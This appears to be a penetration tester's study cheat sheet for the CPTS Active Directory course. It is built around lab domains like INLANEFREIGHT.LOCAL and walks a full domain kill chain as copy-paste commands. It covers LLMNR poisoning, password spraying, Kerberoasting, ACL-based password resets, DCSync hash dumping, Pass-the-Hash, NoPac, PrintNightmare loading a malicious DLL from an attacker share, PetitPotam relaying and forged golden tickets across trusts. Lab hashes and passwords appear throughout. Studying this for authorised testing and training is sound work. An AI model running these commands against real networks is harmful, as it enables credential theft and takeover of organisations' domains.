AD Attacks

Active Directory Attacks

The full CPTS Active Directory kill chain in one place, organised by phase: Initial Enumeration → Poisoning & Foothold → Password Spraying → Credentialed Enumeration → Kerberos Attacks → ACL Abuse → DCSync → Lateral Movement → Bleeding-Edge CVEs → Domain Trusts. Responder/Inveigh, Kerbrute, CrackMapExec/NetExec, BloodHound, PowerView, Kerberoasting/AS-REP, ACL chains, NoPac/PrintNightmare/PetitPotam, child→parent and cross-forest trust abuse. Every payload is its own copy block.

The domain kill chain: enumerate the domain, grab a first set of creds (poisoning or spraying), enumerate again with those creds, roast Kerberos, abuse ACLs to escalate, then DCSync and pivot across trusts. Headings are grouped by phase. Local host privesc and credential looting live in Windows Privilege Escalation; hash cracking and Pass-the-Hash detail live in Password Attacks.

The guiding principle: always go wide and passive first, then narrow and active. Passive recon never touches the target, so it carries no risk and no noise; you only escalate to active probing (and then to attacks) once you understand the environment and have validated scope. Each section below notes why and when you’d run it.

How to choose which attack — the decision loop

AD feels like a pile of unrelated tricks, but it’s really one loop repeated until you’re Domain Admin:

get a credential → use it to enumerate → find the next escalation → get a better credential → repeat.

Every technique in this note does exactly one of five jobs. Once you can label a technique by its job, “when do I use it?” answers itself — you use it when you’re standing at that step with nothing better available.

#The job it doesTechniquesReach for these when…
1Get a first credential (you have none)LLMNR/NBT-NS poisoning, password spraying, AS-REP roasting, null/anonymous SMB + LDAPyou’re on the network but hold no username/password yet
2Map the terrain (you have a cred)BloodHound, ldapsearch, nxc --users/--shares, Snaffleryou just got any credential and need to see where it can reach
3Get a better credentialKerberoasting, ACL abuse, LSASS/SAM dump, GPP cpassword, DCSyncenumeration showed a path and you need higher-priv creds to walk it
4Move with a credentialPass-the-Hash, Pass-the-Ticket, Pass-the-Certificateyou hold a hash/ticket and a host where it’s admin
5Cross a boundarychild→parent ExtraSids, cross-forest abuseyou own one domain and a trust leads to the next

What do I have right now → what do I do next

This is the table to read when you’re stuck. Find the row that matches what you currently hold:

What you currently holdYour next move
Nothing, externalPhase 0 — ASN/DNS/breach data, harvest usernames
On the LAN, no credsResponder -A (listen) → poison; try null SMB/LDAP; AS-REP roast a user list
A user list, no passwordread the password policy, then spray one common password
One valid credential (any user)run BloodHound first, then Kerberoast + read ACL edges
A crackable hash (Kerberoast/AS-REP)crack offline → you now hold a (better) credential → re-enumerate
A BloodHound control edgewalk the ACL chain (ForceChangePassword / GenericAll / AddMember…)
Local admin on a hostdump LSASS + SAM → harvest hashes/tickets
A privileged hash or ticketPass-the-Hash / Ticket to the host where it’s admin
Replication rightsDCSync → every domain hash (the domain is yours)
Domain Admin + a trust existsExtraSids golden ticket (child→parent) or cross-forest abuse

Stuck? Ask one question: “What do I have, and which of the 5 jobs gets me one step more?” That single question is the methodology — everything below is just the how-to for each job.

Phase 0: External Recon (passive, before you touch the network)

Why: map the org’s footprint, validate scope, and harvest usernames/breach creds — all without sending a single packet to in-scope hosts. When: at the very start of an external engagement, and any time you’re stuck and need a fresh foothold (a leaked cred or unknown subdomain).

What you’re hunting: IP space (ASN, netblocks, cloud presence), domain data (DNS, registrations, subdomains, exposed services), schema (email/AD username format + password policy for spraying), and breach data (leaked creds).

Find the org’s ASN and netblocks (self-hosted infra has its own ASN; small orgs sit in cloud ranges — mind scope):

https://bgp.he.net/   →  search the domain or a known IP

Validate IP / DNS data and find undocumented hosts (reverse IP, DNS report, IP history):

https://viewdns.info/   →  Reverse IP Lookup, DNS Report

Pull DNS records manually to confirm name servers and mail hosts:

nslookup -type=any inlanefreight.com 8.8.8.8

Hunt published documents that leak internal paths/usernames (Google dork):

filetype:pdf inurl:inlanefreight.com

Harvest the email/username convention (feeds password spraying):

intext:"@inlanefreight.com" inurl:inlanefreight.com

Scrape LinkedIn into username mashups (flast, first.last, f.last):

linkedin2username -c inlanefreight -n inlanefreight.com

Search breach data for cleartext creds / hashes to try against exposed portals:

sudo python3 dehashed.py -q inlanefreight.local -p

Scan public repos / cloud storage for committed secrets:

trufflehog github --repo https://github.com/TARGET/repo

Scope warning: an ASN/netblock may be shared (Cloudflare, AWS, Azure). Confirm a host is your client’s before any active interaction — never attack shared infrastructure.

Phase 1: Initial Enumeration

Host discovery

Why passive first: once you’re on the internal network, listen before you speak. Running Responder in analyze mode (-A) watches broadcast traffic (LLMNR/NBT-NS/mDNS) to map who’s talking and spot naming conventions — without sending a single poisoned reply. That means zero risk of disrupting the network or tipping off defenders, and it tells you whether poisoning will even be fruitful before you do it actively.

sudo responder -I ens224 -A

Passively sniff the wire for hosts, services and even cleartext creds (again, send nothing):

sudo tcpdump -i ens224

When you’re ready to be active: sweep for live hosts (faster, but it generates traffic):

fping -asgq 172.16.5.0/23

Then fingerprint the live hosts in detail:

sudo nmap -v -A -iL hosts.txt -oN /tmp/scan.txt

A DC betrays itself by having 88 (Kerberos) + 389 (LDAP) + 445 (SMB) open together — that’s your primary target for the rest of the chain.

Username enumeration (Kerbrute)

Pre-auth username enumeration (no lockout, no logon events):

kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid_users.txt

Password policy

From Linux over an SMB NULL session:

rpcclient -U "" -N 172.16.5.5
querydominfo

Get the policy directly with CrackMapExec:

crackmapexec smb 172.16.5.5 -u '' -p '' --pass-pol

Over an LDAP anonymous bind:

ldapsearch -H ldap://172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -i lockoutThreshold

From a domain Windows host:

net accounts

Pull a user list

SMB NULL-session user dump with enum4linux-ng:

enum4linux-ng -P 172.16.5.5 -oA ilfreight

Users via rpcclient:

enumdomusers

LDAP anonymous user dump with windapsearch:

python3 windapsearch.py --dc-ip 172.16.5.5 -u "" -U

Phase 2: Poisoning & Foothold

Why: when a Windows host fails DNS, it falls back to broadcasting LLMNR/NBT-NS asking “who is \fileshrv?”. Anyone on the segment can answer “me”, and the victim then sends its NetNTLMv2 hash. When: you have no creds yet but are on the internal LAN — this is the classic zero-credential foothold. Only switch from passive (-A) to active poisoning once you’ve confirmed the chatter and that you’re authorised to interfere with traffic.

LLMNR / NBT-NS poisoning (Linux)

Start Responder poisoning on the interface (drops the -A, so it now answers the broadcasts):

sudo responder -I ens224

Crack the captured NetNTLMv2 hash (mode 5600):

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

LLMNR / NBT-NS poisoning (Windows)

Inveigh (PowerShell):

Import-Module .\Inveigh.ps1; Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

C# Inveigh (InveighZero):

.\Inveigh.exe

Phase 3: Password Spraying

Why: one weak-but-common password (Welcome1, Season+Year) is usually reused by someone in a large org. Spraying one password across all users avoids the per-account lockout that brute-forcing one account would trigger. When: you have a valid user list (from Kerbrute/LDAP) but no password yet — and only after you’ve read the password policy so you stay under the lockout threshold (spray slowly, e.g. 1 attempt per account per lockout window).

Build a target user list first (valid_users.txt from Kerbrute / LDAP), then spray one password against all of them.

Spraying from Linux

Kerbrute password spray:

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1

CrackMapExec spray (watch lockout policy):

crackmapexec smb 172.16.5.5 -u valid_users.txt -p 'Welcome1' | grep '+'

Validate local-admin reuse across the subnet:

crackmapexec smb 172.16.5.0/23 -u administrator -p 'Password123!' --local-auth

Spraying from Windows

DomainPasswordSpray (auto-pulls the user list from the domain):

Import-Module .\DomainPasswordSpray.ps1; Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

Phase 4: Credentialed Enumeration

Why: a single domain credential — even an unprivileged one — unlocks the entire directory over LDAP. This is where you map users, groups, ACLs, sessions and trusts to find the path to Domain Admin rather than guessing. When: immediately after your first valid cred (from poisoning/spraying). Run BloodHound first — it turns thousands of objects into a visual attack path so you don’t enumerate blind.

From Linux

CrackMapExec — users:

crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users

CrackMapExec — groups:

crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups

CrackMapExec — logged-on users / shares:

crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --loggedon-users --shares

SMBMap to enumerate share access:

smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5

rpcclient over authenticated session:

rpcclient -U "INLANEFREIGHT.LOCAL/forend%Klmcargo2" 172.16.5.5

windapsearch — find Domain Admins:

python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da

windapsearch — privileged users (recursive):

python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU

Collect BloodHound data from Linux:

bloodhound-python -u forend -p Klmcargo2 -d inlanefreight.local -ns 172.16.5.5 -c all --zip

From Windows

Import the AD PowerShell module:

Import-Module ActiveDirectory; Get-ADDomain

Find AS-REP-roastable users (no pre-auth):

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | select name

Load PowerView:

Import-Module .\PowerView.ps1

PowerView — detailed info on one user:

Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | select samaccountname,memberof,pwdlastset,admincount

PowerView — recursive group membership:

Get-DomainGroupMember -Identity "Domain Admins" -Recurse

PowerView — find machines where you have local admin:

Find-LocalAdminAccess

PowerView — hunt for where a target user is logged in:

Find-DomainUserLocation -UserIdentity tjohnson

Snaffler — sweep domain shares for secrets:

Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data

Run SharpHound from the Windows host:

.\SharpHound.exe -c All --zipfilename ILFREIGHT

Phase 5: Kerberos Attacks

Why: any domain user can request a service ticket (TGS) for any account with an SPN, and that ticket is encrypted with the service account’s password hash — so you can crack it offline, no privileges needed. AS-REP roasting is the same idea for accounts with pre-auth disabled. When: right after credentialed enumeration flags SPN accounts (Kerberoast) or no-preauth accounts (AS-REP). It’s low-risk (normal Kerberos traffic) and frequently nets a service account with strong rights.

Kerberoasting (Linux)

Request TGS hashes for every SPN account:

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request -outputfile kerberoast_hashes.txt

Target a single account:

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs

Crack the TGS-REP (mode 13100):

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

Kerberoasting (Windows)

Rubeus — roast the whole domain, no line-wrap:

.\Rubeus.exe kerberoast /nowrap /outfile:hashes.kerberoast

AS-REP Roasting

Pull AS-REP hashes for accounts without Kerberos pre-auth:

GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_users.txt -format hashcat -outputfile asrep_hashes.txt

Crack them (mode 18200):

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Rubeus from Windows:

.\Rubeus.exe asreproast /nowrap

Phase 6: ACL Abuse

Why: misconfigured object permissions (GenericAll, WriteDACL, ForceChangePassword…) let one principal control another — and BloodHound chains those edges into a path from your low-priv user to Domain Admin. When: after BloodHound reveals an outbound control edge from a principal you own. Walk the chain in order, and note every change you make (you’re modifying live AD objects — clean up afterward).

Read BloodHound’s outbound object-control edges, then abuse them in chain order.

PowerView — find interesting ACLs your user can abuse:

Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceName -match 'wley'}

Build a credential object for the controlled user:

$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $pass)

GenericAll / GenericWrite on a user → force-change their password:

$newpass = ConvertTo-SecureString 'Pwn3d_by_acl!' -AsPlainText -Force; Set-DomainUserPassword -Identity damundsen -AccountPassword $newpass -Credential $Cred -Verbose

WriteDacl on a group → grant yourself rights, then add a member:

Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred -Verbose

GenericWrite on a user → targeted Kerberoast (set a fake SPN, roast, remove). From Linux:

targetedKerberoast.py -v -d inlanefreight.local -u forend -p Klmcargo2

Phase 7: DCSync

Why: a DC will replicate directory data — including password hashes — to anything that asks if it holds replication rights. DCSync impersonates a DC to pull krbtgt and every account’s NT hash, which is effectively game over (golden tickets, Pass-the-Hash as anyone). When: once you control an account with replication rights (Domain Admins, Enterprise Admins, or a delegated account BloodHound flags with GetChanges/GetChangesAll).

With replication rights (DS-Replication-Get-Changes / BloodHound GetChanges), pull every hash from the DC.

secretsdump.py — dump the whole NTDS:

secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT.LOCAL/adunn@172.16.5.5

Just the Administrator hash:

secretsdump.py -just-dc-user administrator INLANEFREIGHT.LOCAL/adunn@172.16.5.5

Mimikatz from a domain-joined host:

lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

Phase 8: Privileged Access & Lateral Movement

Why: Windows lets you authenticate with an NT hash or a Kerberos ticket — you rarely need the cleartext password. So a hash dumped from one host becomes access to every host where that account is local admin. When: after you’ve recovered a hash/ticket and BloodHound (or --local-auth sweeps) shows where it grants admin. Prefer wmiexec/WinRM over psexec when you want to stay quiet (no service created).

Use recovered hashes, tickets and passwords to reach other hosts. Full Pass-the-Hash / Ticket / Certificate reference lives in Password Attacks.

Pass-the-Hash

psexec / wmiexec with an NT hash:

psexec.py administrator@172.16.5.5 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

Evil-WinRM with a hash:

evil-winrm -i 172.16.5.5 -u administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

CrackMapExec command exec across the subnet with a hash:

crackmapexec smb 172.16.5.0/23 -u administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

Pass-the-Ticket

From Linux — request a TGT with an NT hash:

getTGT.py INLANEFREIGHT.LOCAL/administrator -hashes :30B3783CE2ABF1AF70F77D0660CF3453

Point Kerberos at the ccache:

export KRB5CCNAME=administrator.ccache

Use it (hostnames, not IPs):

psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01

Groups that grant access

Enumerate who can RDP / WinRM / use the DB:

Get-DomainGroupMember -Identity "Remote Desktop Users" -Recurse

The Kerberos “double-hop” problem

Hop tickets with a fresh credential when WinRM eats your TGT — re-supply creds via a PSCredential or use a -k ticket. Quick check:

klist

Phase 9: Bleeding-Edge CVEs

NoPac (SamAccountName spoofing, CVE-2021-42278/42287)

Scan for the vuln (needs ms-DS-MachineAccountQuota > 0):

sudo python3 scanner.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

Pop a SYSTEM shell on the DC:

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

Or DCSync the Administrator directly:

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator

PrintNightmare (CVE-2021-34527)

Confirm the Print Spooler / MS-RPRN endpoint is reachable:

rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

Run a CVE-2021-1675 exploit to load a malicious DLL as SYSTEM:

python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\share\addCube.dll'

PetitPotam (MS-EFSRPC, CVE-2021-36942)

Relay DC auth to AD CS Web Enrollment — start ntlmrelayx:

sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

Coerce the DC to authenticate:

python3 PetitPotam.py 172.16.5.225 172.16.5.5

Use the captured base64 cert to request a DC TGT (PKINITtools):

python3 gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <BASE64_CERT> dc01.ccache

GPP cpassword (MS14-025)

Loot SYSVOL Groups.xml for the AES-encrypted cpassword with CrackMapExec:

crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_password

Decrypt a cpassword blob:

gpp-decrypt VPe/o9YRyz2cQjudVbF4xRcWZ4l1bnZ9q2cBKAZ4kZ4

Phase 10: Domain Trusts

Why: owning one domain often hands you the rest of the forest. A child domain trusts its parent, and the shared krbtgt/SID-history mechanics let you forge a ticket with the parent’s Enterprise Admins SID — so child-DA becomes forest-EA. When: after you’ve fully compromised one domain (have its krbtgt hash) and Get-DomainTrustMapping shows a parent/forest trust worth crossing.

Enumerate trusts

PowerView — map every reachable trust:

Get-DomainTrustMapping

From Linux:

nltest /domain_trusts

Child → Parent (ExtraSids / Golden Ticket)

Five pieces to collect: child KRBTGT hash, child domain SID, target user (Administrator), parent domain FQDN, and the Enterprise Admins SID.

DCSync the child KRBTGT hash:

secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

Get the child domain SID:

Get-DomainSID

Brute the parent Enterprise Admins SID with lookupsid:

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"

Forge the inter-realm golden ticket with ticketer.py (extra SID = parent Enterprise Admins):

ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker

Load it and pivot to the parent DC:

export KRB5CCNAME=hacker.ccache && psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5

One-shot the whole chain with raiseChild.py:

raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Cross-forest trust abuse

Kerberoast across the forest trust from Windows:

.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

From Linux:

GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5

Hunt foreign group membership (users from another forest in privileged groups):

Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

Order of effort: enumerate (poison or spray for a first cred) → BloodHound everything → Kerberoast/AS-REP for more creds → walk ACL edges to a privileged account → DCSync the domain → forge an ExtraSids ticket to jump child→parent. Recovered hashes and tickets flow straight into Password Attacks.